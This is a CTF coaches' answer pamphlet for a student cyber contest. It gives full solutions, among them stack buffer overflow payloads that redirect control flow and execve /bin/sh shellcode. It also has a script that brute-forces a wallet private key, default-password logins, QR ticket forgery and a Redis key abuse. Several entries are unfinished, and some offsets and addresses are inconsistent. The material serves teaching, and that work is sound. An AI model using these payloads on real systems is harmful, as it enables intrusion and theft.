Spokane Cyber Cup V

**Coaches Pamphlet**

If you are not an assigned Spokane Cyber Cup coach **DO NOT VIEW THIS document.** This contains answers for the challenges. Viewing as a student is in direct violation of the rules of the contest. Additionally, viewing as a student coach is ALSO a violation of the contest. Only people sanctioned by Maxwell Dulin directly are allowed to read this document.

**Coaching Advice**

* The goal of this event should be for the students to ***learn***! Even though this is pitched as a contest, feel free to help students however you see fit. From talking about SQL to showing them interesting command line utilities to talking about directory traversal… trust your judgement!
* Do not give students full answers to the solutions; give them pieces of the puzzle if they are stuck. The students having that ‘Ah ha’ moment is really important, as this drives a thirst for knowledge.
* Ask students if they need help; some people are too nervous and/or embarrassed to ask themselves. Be inviting and helpful as a coach.
* Tell kids they are doing a good job when they solve a problem. It always feels good to do something right :) The positive reinforcement is important for longevity and drive for the entire day.
* Walk around and help all students; do not stick around a single team for the bulk of the contest.
* Please talk to students about your career! One reason we force this to be an onsite event is to make professionals in the field easy to talk to.
* If the students have found an issue in the challenge, or it appears to be unobtainable, please contact Maxwell Dulin, Yasmin Kadyrova or Adele Miller with these problems. If a challenge appears to be too hard let the same people know; we may add extra hints or modify the challenge to make it easier. A goal of ours is to make sure every challenge is solved at least once.
* If you don’t know the answer to a question or the challenge is outside of your knowledge, feel free to ask another coach for help.
* Have fun and help lots of people! Whoop whoop!

**Organization**

* Coaching Advice: 1
* Table of Contents: 2
* Challenges in alphabetical order by name: 3-24

Table of Contents

A.I. is the Future………………………………………………………………….. **3**

AWS Config 1 – Listing the Planet………………………………………………. **3**

AWS Config 2 – Secrets and More Secrets………………………………………. **3**

AWS Config 3 – More S3………………………………………………………… **4**

Big RSA 1– Recover d……………………………………………………………..**4**

Big RSA 2 – Find the Message………………………………………………...…..**5**

Braille………………………………………………………………………………**5**

Buffer Overflow 1 - First Overflow……………………………………………….**6**

Buffer Overflow 2 - Deadbeef**.**................................................................................**6**

Buffer Overflow 3 - Auth Me………………………………….………..…………7

Cats 1 – First Attempt…………………………………...…………………………**8**

Cats 2 – Second Attempt………………………………………………….………..**8**

Cats 3 – Third Attempt……………………………………………………………..**9**

Cesar Cipher………………………………………………………………………..**9**

ChatGpt Technical Support…………………………………,……………………..**10**

Fault in Our Codes…………………………………………………………………**10**

Hack the \_\_\_\_ ……………………………………………………………………..**11**

Logs Analysis in Apache…………………………………………………………..**11**

Loops1……………………………………………………………………………..**12**

Loops 2…………………………………………………………………………….**12**

Loops 3…………………………………………………………………………….**13**

Nicholos Cage……………………………………………………………………..**14**

OSINT 1 – Find the Hackers Other Alias…………………………………………**14**

OSINT 2 – Find the Hackers Password……………………………………………**15**

OSINT 3 – Find the Hackers Restaurant ………………………………………….**15**

OSINT 4 – Find the BSSID………………………………………………………..**15**

Pokete 1 – Find the Config…………………………………………………………**16**

Pokete 2 – Infinite Money………………………………………………………….**16**

Pokete 3 – Teleportation……………………………………………………………**17**

Pokete 4 – Code Execution Fun…………………………………………………… **17**

Privilege Escalation 1 – First……………………………………………………….**18**

Privilege Escalation 2 – Lesser……………………………………………………..**18**

Privilege Escalation 3 – vim pops a shell – add in PATH issue……………………**19**

Snake 1 – Super Duper High Score…………………………………………………**19**

Snake 2 – Who Am I?................................................................................................**20**

Test SSH……………………………………………………………………………**20**

Test Grep……………………………………………………………………………**21**

Test Video…………………………………………………………………………..**21**

Ticket Swappy………………………………………………………………………**21**

Tick Tock – Time Matters…………………………………………………………..**22**

View Source………………………………………………………………………...**23**

Wireshark – Password…………………………………………………...………….**23**

Wireshark – file……..………………….………………………...…………………**24**

Airlines 1 – Seat Number

Have you ever considered what's on an airline ticket? Your name? Location? Let's find out! This series of challenges will dive into a series of challenges to interact with an Arduino via QR codes. Your team should have received printed out airline tickets.

What is the seat number and row of the airline ticket given? Reverse engineer the format!

* Hint: QR code is just a representation of text. Decode the image to be a text.

# Solution

The data decoded from the QR code is 1111|Kevin|Mitnick|22222|E|New York|Spokane|Delta|22C|A|.

This is broken into ticket number, first name, last name, class, starting locatino, destination, airline, **seat info**, secret date and checksum. The seat info has 22C, which is pretty obviously a seat number.

Flag: 22C

Airlines 2 – Who Am I?

Have you ever considered what's on an airline ticket? Your name? Location? Let's find out! This series of challenges will dive into a series of challenges to interact with an Arduino via QR codes. Your team should have received printed out airline tickets.

Set the name of the ticket to be Elon Musk. To get the flag, scan the new ticket on the airline code scanner.

# Hints to Give

* Go to the following website: <https://www.qr-code-generator.com/solutions/text-qr-code/>

# Solution

The QR codes second and third values are the first and last name respectively. Use the first name elon and last name musk with the QR code.

An example is this is shown below:

1111|elon|musk|22222|E|New York|Spokane|Delta|22C|A|.

Convert this to a QR code via a website and scan it on the challenge. Flag will be given.

Flag: SC5{B@dN8Me}

Airlines 3 – Classy

Have you ever considered what's on an airline ticket? Your name? Location? Let's find out! This series of challenges will dive into a series of challenges to interact with an Arduino via QR codes. Your team should have received printed out airline tickets.

Set the ticket to be **first class**. Modify your airline ticket QR Code to do this. Scan the new QR code on the ticket scanner to get the flag.

* Hint: What fields do you not know from the decoded text?

# Hints to Give to Students

* What does the 'E' stand for in the ticket information?

# Solution

Everything in the text is either a number or a name besides the seat info and the 'E'. The 'E' stands for *'Economy'*. Based upon reverse engineering the entire format, students are expected to figure this out.

So, if ‘*E’* is Economy then we need another letter to sub in. Since we want to become First Class, use the letter *‘F’* to become first class. An example is shown below:

1111|Kevin|Mitnick|22222|**F**|New York|Spokane|Delta|22C|A|

Convert this to a QR code via the website and scan it on the challenge. Flag will be given to the user.

flag: SC5{B&dClaSS!}

Airlines 4 – Checksum

Have you ever considered what's on an airline ticket? Your name? Location? Let's find out! This series of challenges will dive into a series of challenges to interact with an Arduino via QR codes. Your team should have received printed out airline tickets.

The final section of the ticket is a *checksum*. This is a value based upon the rest of the ticket to ensure that *corruption* has not occurred. To get the final flag, modify the ticket with the flight number '9675309' including a valid checksum. The code for the Arduino is included for this challenge.

* Hint: A checksum is a value derived from the rest of the input to ensure that the data was not corrupted in transit: <https://en.wikipedia.org/wiki/Checksum>

# Solution

A *checksum* is a sanity check that the ticket is not corrupted. There are many different implementations of the checksums but this one is rather simple. The code is simply the ASCII value of each character added together and modded by 256.

Code for this is written below:

string=**"11112|Kevin|Mitnick|9675309|E|New York|Spokane|Delta|22C|"**

d = **0**

**for** char **in** string:

d = d + **ord**(char)

**print**(d)

**print**(d % **256**)

**print**(**chr**(d % **256**))

Flight number is the *fourth* value. Simply set this to be 9675309. Use the string, without the checksum value, within the 'XX' above.

Place the 'character' (not number) representing the checksum value into the QR code. An example of this is below:

11112|Kevin|Mitnick|9675309|E|New York|Spokane|Delta|22C|+|

There are several mistakes that are likely to be made:

* Only the first **9** items are checksummed. Ensure that people are not using the old checksum as part of the values being used.
* The *character* should be used in the QR code from the checksum. For instance, the number 65 (0x41) when converted to a character is ‘A’. If the character is unprintable, use the Unicode website to copy it into the website or change some values in the ticket to make the character printable.

Convert this to a QR code via the website and scan it on the challenge. Flag will be given.

Flag:

Amazon

The goal is break into Jeff Bezos personal account.

First, there is a username and password to crack for Jeff Bezos. Second, there is a one time password (OTP) value that needs to be cracked too. Your goal is to login to the service.

* Hint: How are the OTPs generated? Are they ever deleted?
* Hint: Doing this by inputs to the program directly is not possible. Some automation is required.

# Solution

When an OTP (one time password) is created, there is a 1 out of a 10,000 chance that it can be guessed. However, there is no limit on the amount of OTPs that can be created! Because of this flaw, we can create a bunch of OTPs and hope that one of them is correct when we finally guess it. A simple payload for this can be seen below:

TODO

An additional solution is to simply try each and every combination until one of them is correct. This is possible because there are no brute force protections on this.

Flag: asdfsafdasfd

Buffer Overflow – First Overflow

Can you overflow my buffer? Overwrite the variable ‘x’ on the stack. To connect, SSH to ssh1.spokane-ctf.com port 2223 with *``firsty:firsty``* credentials.

* Hint: Use more characters!

# Solution

This is a basic buffer overflow challenge; this is when a memory writes outside the bounds of its allocated size. There is a C struct with two fields: a string of size 32 called *my\_string* and an integer called *special\_int*. The *memory* organization of this structure is laid out in exactly this way on the stack as well.

Since the C string is 32 bytes in size, anything larger than 32 would go outside the specified buffer and into the integer field.

Provide a string with more than 40 characters to solve this challenge. For instance, the text “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”, being 33 in size, would overflow the `*cool\_int*` variable.

Flag: SC5{F1rSt0v3rfl0w\_ever\_watch\_out\_world}

Buffer Overflows 2 - Deadbeef

I don’t want to fix my buffer! Try to overwrite my buffer with the value **0xdeadbeef**. To connect, SSH to ssh1.spokane-ctf.com port 2223 with ``*dead:dead*`` credentials.

# Hints to Give

* Review Endianness. The program is 0x86, making it Little Endian.
* Use `*python3 -c ‘import sys; sys.stdout.buffer.write(b“ABCD”) | ./dead*` to write the bytes you want.
* Use ‘hexdump’ to see raw bytes being printed and GDB to debug the exploit.

# Solution

This is a basic buffer overflow challenge; this is when a memory writes outside the bounds of its allocated size. There is a C struct with two fields: a string of size 32 called *my\_string* and an integer called *special\_int*. The *memory* organization of this structure is laid out in exactly this way on the stack as well.

The stack overflow is the same as before. The buffer is only 32 bytes in size, but we can write more than this. This can be found by empirically testing or following the assembler code carefully. So, **32** is the amount of filler bytes.

Once we have our corruption, we need to write the value **0xdeadbeef** to *special\_int*. The first problem is how do I send bytes? Using Python, as shown in the hint above, we can write the raw bytes of a character. For instance, 0x41 (ASCII code for A) can be written with *‘/x41’*. This representation can be used for all the raw bytes that we want to send. Now, our payload looks like *“\xde\xad\xbe\xef”*.

The final problem we need to solve is the *endianness*. *Endianness* refers to the ordering of memory. For instance, 0x4142 could have the most significant byte as 0x41 or 0x42, drastically changing the value of the number. In x86, strings are represented in little endian. As a result, we need to *shift* the ordering of the bytes in our payload to be reversed since there is a difference in the ordering when writing an integer vs. writing a string. For the payload, we now get *“\xef\xbe\xad\xde”*.

The final payload is `python3 -c "import sys; sys.stdout.buffer.write(b'A' \* 32 + b'\xef\xbe\xad\xde')" | ./dead`

Flag: SC5{Y0uAreDEADT0Me}

Buffer Overflow 3 – Kill Ptr

Can you overwrite the control flow? The goal is to corrupt the new ``functionPtr()`` in the structure to execute code at ``print\_flag()`` To connect, SSH to ssh1.spokane-ctf.com port 2223 with *``killptr:killptr ``* credentials.

* Hint: Use GDB to find the address of ``print\_flag()``.
* Hint: Use ``python3 -c "import sys; sys.stdout.buffer.write(b'A' \* 0x1 + b'\x11\x22\x33\x44')" | ./killPtr``

Hints to Give

* Show them *how* to use GDB
* Explain how the *call stack* and RET command works

# Solution

This is a basic buffer overflow challenge; this is when a memory writes outside the bounds of its allocated size. There is a C struct with two fields: a string of size 32 called *my\_string,* an integer called *special\_int* and *functionPtr* The *memory* organization of this structure is laid out in exactly this way on the stack as well.

This is the same vulnerability as the previous challenges: a linear buffer overflow inside the ``danger`` struct from the ``my\_string`` field. This time, there is an extra field called ``functionPtr`` on this challenge. We want to corrupt this to change the flow.

It is our goal to edit the *function pointer address* to point to something that we want to call. Second, figure out the offset. It's the same 32 bytes as before then an additional 4 for the integer field. Third, go into GDB to figure out the address of the function ``print\_flag``. Do this by typing in `disas print\_flag`. This will give you an address to jump the flow of the program to, which is 0x8048586.

Because the OS's Endian, we need to turn the Big Endian (i.e. 0x80485c3) into little Endian (i.e. 0xc3850408). Notice that this is PER byte. Since we are writing raw values to the stack, we need to use hex code to do this. In order to do this, we must write the characters prefaced with `\x`. So, in the example, turn `0x565556b4` into `\xb4\x56\x55\x56`. Add this value to the payload. If all is done right, you should have redirected execution of the program to where the flag is at, displaying the flag.

My example payload is shown below:

python3 **-c** **"import sys; sys.stdout.buffer.write(b'A' \* 32 + b'B' \* 4 + b'\x56\x88\x04\x08')"** | ./killPtr

Flag: SC5{Function0verideForOnePlzzz333333}

Buffer Overflow 4 - Corrupt Me

Try to bypass this! To connect, SSH to ssh1.spokane-ctf.com port 2223 with *``corruptRet:* *corruptRet``* credentials. Can you overwrite the control flow? The goal is to overwrite the previously stopped instruction pointer to jump to ‘*print\_flag’*.

* Hint: How does the RET instruction pointer and stack work on x86?
* Hint: Use ``python3 -c "import sys; sys.stdout.buffer.write(b'A' \* 0x1 + b'\x11\x22\x33\x44')" | ./corruptRet``
* Hint: The offset is 0x30 bytes

# Hints to Give

* Show them *how* to use GDB
* Explain how the *call stack* and RET command works

# Solution

The concept is the same as the previous challenge for endianness and overflowing a pointer. But, this time, we are overwriting the EIP (instruction pointer) of the location. The stack contains other important data relating to the previous stack frame: base pointer, stack pointer and instruction pointer.

If we can change the instruction pointer to be ``print\_flag()`` then we can redirect the flow of execution! The overflowing into the ``int`` is 32 bytes. 4 bytes through the int. Then, we have to care about the rest of the information on the stack. Difference between ``&my\_data`` and the location of the old IP is (0xffffd65c - 0xffffd62c) = 0x30. This is a total of 12 bytes more until the overflow.

When ``leave()`` is called, this puts in the proper ebp from the previous frame is recovered. Additionally, there are two other bytes there that I am not sure about. The best way to find this offset is to \*pause\* at the first instruction of the function. Then, look at the stack pointer and you'll see the old EIP. Compare this with the pointer to ``&my\_data``. Subtract these pointers to get the amount of bytes to write.

Overflowing for 0x30 bytes will get us to the EIP. Set this to the address of ``print\_flag()`` like the previous challenge to get the flag. The only difference is overwriting the old EIP instead of the function pointer address. Just like before endianness matters and this needs to be taken into consideration. Look at the previous buffer overflow challenges on endianness and how to deal with it.

The command below works to solve the challenge:

python3 **-c** **"import sys; sys.stdout.buffer.write(b'A' \* 32 + b'B' \* 4 + b'C' \* 12 + b'\x56\x88\x04\x08')"** | ./corruptRet

Flag: SC5{StackReturnPtr0verride}

Buffer Overflow 5 – Exec Stack

Try to bypass this! To connect, SSH to ssh1.spokane-ctf.com port 2223 with *``execStack:* *execStack``* credentials. There's no free ``win()`` function anymore. What will we do!? This time, you'll have to write a win function yourself with raw machine code!

* Hint: The stack is executable. You can use your input to execute code.
* Hint: Use the following shellcode is necessary: <https://shell-storm.org/shellcode/files/shellcode-827.html>
* Hint: The address of the string is printed at the beginning of the program and is stack (ASLR is disabled).
* Hint: Use ``(python3 -c "import sys; sys.stdout.buffer.write(b'A' \* 1 + b'\x11\x22\x33\x44')"; cat -) | ./execStack`` to run the code and keep the program open.

Hints to Give

* Show them *how* to use GDB
* Explain how the *call stack* and RET command works
* Describe what machine code is
* Show them the link for where the shellcode is at.

# Solution

The concept is the same as the previous challenge for endianness and overflowing a pointer. But, this time, we are overwriting the EIP (instruction pointer) of the location. The stack contains other important data relating to the previous stack frame: base pointer, stack pointer and instruction pointer.

In the previous 2 challenges, we jumped to a function to print the flag. This time, we will need to write code to do this ourselves. Since the stack is executable, we can put our own code onto the stack and run that instead.

The following data, when placed on the stack, will work well when executed to pop a shell This has commented notes to make it easier to understand. In byte form, this is \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80.

xor %eax,%eax -- Clean EAX to use as NULL

push %eax -- Push a null byte

push $0x68732f2f -- Push part of /bin/sh

push $0x6e69622f -- Push another part of /bin/sh

mov %esp,%ebx -- Param 1 - binary to execute

push %eax

push %ebx

mov %esp,%ecx -- Param 2 - Path of execution

mov $0xb,%al -- The syscall (11) for execve

int $0x80 -- syscall interrupt

Once we have the shellcode on the stack, we still need to jump to it though. This is printed in the program with the statement ‘printf(“my\_data…”)’. Since this prints out the address, it makes our life much easier.

Once we have the address, we know *where* to set EIP on the stack to and the code to run. The only tricky thing is getting this call to line up. The offset to the EIP on the stack is still 48 bytes as before. So, we can do some math by doing 48 – *shellcode\_length* to ensure these line up, as shown below. The shellcode is at the beginning, the filler is in the middle and the ending is the *address* of the object/shellcode is located.

The final weird thing is the ‘(cat -)’ in the middle of it. Why is this there? If we use Python put don’t keep a tty open, the shellcode will not execute. By adding in the ‘(cat -)’ to the script, we can keep this open in order to pop a shell. An example payload is shown below that will pop a shell.

(python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + b'A' \* (-23 + 32 + 4 + 12) + b'\x7c\xd6\xff\xff\x0A' + b'whoami')"; cat -) | ./execStack

Flag: SC5{ExecStackBackToTheYear2000}

RosarioSIS – Default Passwords

Can you login as a teacher on the website? It’s common for websites to have default passwords that are not changed. Find the defaults credentials by reading the documentation of the website at <https://www.rosariosis.org/quick-setup-guide/>.

# Solution

The link in the description contains a section called *‘Default Users’.* One of these users is *‘teacher’*. The username password combination is ‘*teacher:teacher*’ by default. If this isn’t changed, then the application is left in this state.

Login using these credentials in order to get the flag.

Flag: ??????

RosarioSIS – Predictable Passwords

How does a user login to a website for the first time? They have some information that they know about themselves that is used to dynamically create accounts for new users.

For this challenge try to login as ‘Nathan Kirkland’. Try various usernames and passwords on the website.

# Solution

There are many ways to generate passwords. At Gonzaga and many companies they use first letter of the first last and the last name. This is what we were looking for on this challenge.

So, *nkirkland*:*nkirkland* can be used to login to the website. Use these credentials to get the flag.

Flag: ??????

Bad Key Gen

A cryptocurrency wallet is simply math! It's a ECDSA key pair. If you know the key, you own the wallet. Recently, it's been discovered that some wallet generation services have been hacked! What could have happened!? <https://twitter.com/trailofbits/status/1725285274580594791>

To solve the challenge, find the private key of the account with the address '1PZE7KHa1Ujwd4jhUKNgUrjjtQeg7buSbM'. The generation for the private key is found in the Python code.

* Hint: Reuse the python code that I wrote. Work smarter, not harder.
* Hint: To execute the script, use the library at <https://pypi.org/project/bip32utils/>.

# Solution

The key is generated using a nonce in the range of **0,2\*\*20**, which is not very big. Since this is a small number, an attacker can attempt **all** nonces within this space to find the private key.

We can reuse most of the code from the Python code. The main change is creating a loop for each possible nonce then using this output and comparing it with the address we want. If the address is the expected one, then we’ve gotten the private key for the wallet!

Example code is shown below:

**def** **de\_generate**(address):

**# Try every possible seed**

**# Compare the address that we know to the address we have**

**for** i **in** **range**(**0**,**2**\*\***20**):

bytes\_seed = i.to\_bytes(**32**, **'big'**)

key = bip32utils.BIP32Key.fromEntropy(bytes\_seed)

**if**(address == key.Address()):

**print**(key.WalletImportFormat())

**return** i

This script should give a nonce of 528493 and a private key. The private key is the flag.

Flag: L46nMXrYcZuVMo6i4fHuh4QdsLEokks1v98bW3N3ebVXcVsJzck4

Mining

"Hey kids! Have you ever tried mining Bitcoin!? It's an easy way to make money! Do you know how it works?" You take some data and append data to the front until the 'hash' of the data has lots of zeros on the front of it. We’re going to mine for Bitcoin on our own custom setup.

For this challenge, there is a server that you interact with via Python - you have a client program to use for this. All you need to worry about doing is sending the prepended data that created the hash with lots of zeros. Write some code to prepend the starting 7 bytes with zeros. There is a (1/16)^5 probability this will work! You only have a minute to do so! :) Good luck!

* Hint: Use the template code given and only modify the *calc\_hash()* function.

# Solution

In the proof of work Bitcoin blockchain system, the 'work' is finding a hash with a sufficient amount of 0s at the front of it. This challenge is trying to emulate the bitcoin mining process.

The networking of the client to get the information is taken care of by the template script given to the user. To solve the challenge that does the following:

1. Prepends a nonce, some sort of random value, to the provided data.
2. Hash the data including the nonce.
3. Check if the hash has enough leading 0s. This should be 5.
4. If it does, exit the loop and send back the correct nonce. If not, continue back to step 1.

Example code for *calc\_hash* is shown below:

**def** **calc\_hash**(data, diff):

nonce = **1111**

**hash** = hash\_data(**str**(nonce) + data)

**while**(only\_zeros(**hash**, diff) == **False**):

nonce += **1**

**hash** = hash\_data(**str**(nonce) + data)

**return** nonce

There are a two main ways that students can get this wrong. First, they can calculate the nonce with the hash incorrectly. If you see a mistake in the calculation, give them hints on how to fix it.

Second, the code can be *inefficient,* such as making the nonce too large. If the code is efficient but is simply taking too long because their computer is slow, feel free to give them the flag after thorough verification that their answer is correct technically.

Flag: SC5{youre\_going\_to\_be\_rich\_sunny!}

HackerMon – Password Plzzzz

Fire up [an emulator](https://emulicious.net/) (which is legal) to play this unlicensed GameBoy game that is totally not a ripoff of a popular franchise. There is an in-game computer! Try to hack it!

* Hint: No debuggers, hex editors, or reverse engineering skills needed!
* Hint: Can you read secrets from the raw game file?

# Solution

After the brief intro, you're dropped in a room with a computer in the top left corner that prompts you for a password.

The password is stored as ASCII in the program memory, and it exists uncompressed in the ROM file. Simply strings challenge.gb, and comb through the output by hand to find the passcode.

Now, enter the passcode into the computer prompt within the game to get the flag.

Flag: SC5{h4ck3rm0n-1337}

HackerMon – Over the Wall

Did you hear that!? It came from the outside! What could that be? To get the flag, get to the computer in the unreachable bo.

* Hint: The solution requires editing a byte or two in memory while the game is running. First, find the relevant byte. btw, does your emulator have Gameshark support?

# Solution

Completing challenge 1 will unlock challenge 2. Go outside, then at the bottom, there's a floating computer monitor that cannot be accessed by foot. You will have to swim... with HACKS!

The trick is to modify the byte in memory that represents the position of the player. In RAM, the address is: 0xCOBB for the *horizontal* point. The address can be discovered by moving around with the character and observing which bytes of working RAM change. If they change predictably when a user moves horizontally or vertically, then the bytes should change. Players can discover this by using an emulator with a memory viewer or debugger. A cheat finder may work, too.

To solve the challenge, go to the *left* side of the box. Now, edit the memory address of 0xCOBB to be 4 instead of 3 by using a memory editor within the emulator. By doing this, the players horizontal location is changed to be inside the box. Press A while facing the computer to get the flag.

Flag: SC5{ch34t-f1nd3r}

HackMan

Can you hack pac-man? The goal is to open the chest in the middle of the map! Use whatever means necessary. And we mean ANY means necessary. The challenge is at <https://hack-man.s3.us-west-1.amazonaws.com/index.html>. Good luck!

* Hint: There are many ways to solve this. Changing variables in memory, editing the JavaScript and many others all work.

# Solution

There are many ways to solve this problem. For example, you could get rid of collisions, so that you float through the middle wall or simply teleport.

However, the intended approach was to put a *breakpoint* inside the player's position update logic, then to set the player's position to the location of the chest. In particular, line 993 of index.js (using the browser's development console), which is inside of the update function of the player object. This gets called by the game engine whenever the player object's position is updated.

The relevant code is placed below:

update:function(){

var coord = this.coord;

if(!coord.offset){

... <omitted for brevity's sake> ...

Step by step once the game has started:

1. Move towards the chest in the middle. Position yourself such that you are on the left side of the box in the middle, facing the chest. You should not be moving at this point since you are facing a wall.
2. Pause the game once you're near the chest by pressing space.
3. Open the browser's dev tools. Put a breakpoint on line 993.
4. On the right (in Chrome), click "Closure" in the scope tab and select player. Then, scroll down to the x field and set it to 315. The ‘315’ is a number that can be found by looking at the *current* value or simply trial and error.
5. Get rid of the breakpoint and resume the game.
6. If you’re in the box next to the treasure chest, the flag is revealed!

Flag: SC5{p4c\_m4n\_0r\_h4ck\_m4n?}

Lottery

Years ago, our lottery could be hacked because the lottery numbers were being generated insecurely. But we’ve fixed the lottery this year. There’s no way it can be hacked.

* Hint: Review the logic for validating and guessing a number within the source code.
* Hint: You’ll need to be creative, read the code and understand what Redis is in order to solve this one.

# Solution

The storage for all of the information is within the Redis application caching environment. When storing the *lottery* *number*, this is a cache. When storing a user guess, this is also a lottery number.

Currently, there is no input validation that the Redis key being used for the *guess* or *validate* APIs is NOT the *lottery* key. As a result, an attacker can set the lottery key to be anything they want on the *guess* API or validate against the current lottery number using the *validate* API.

For instance, curl http://127.0.0.1:5000/validate/lottery will validate against the ‘lottery’ user, which will just be the chosen lottery number in the Redis cache. Additionally, setting the user as *lottery* then creating a guess as this user will *set* the lottery number, being predicable.

Flag: SC5{Lo0k\_Ma\_N0\_1nput\_Val1dation\*&^}

Injection City – Command Injection

* ….

# Solution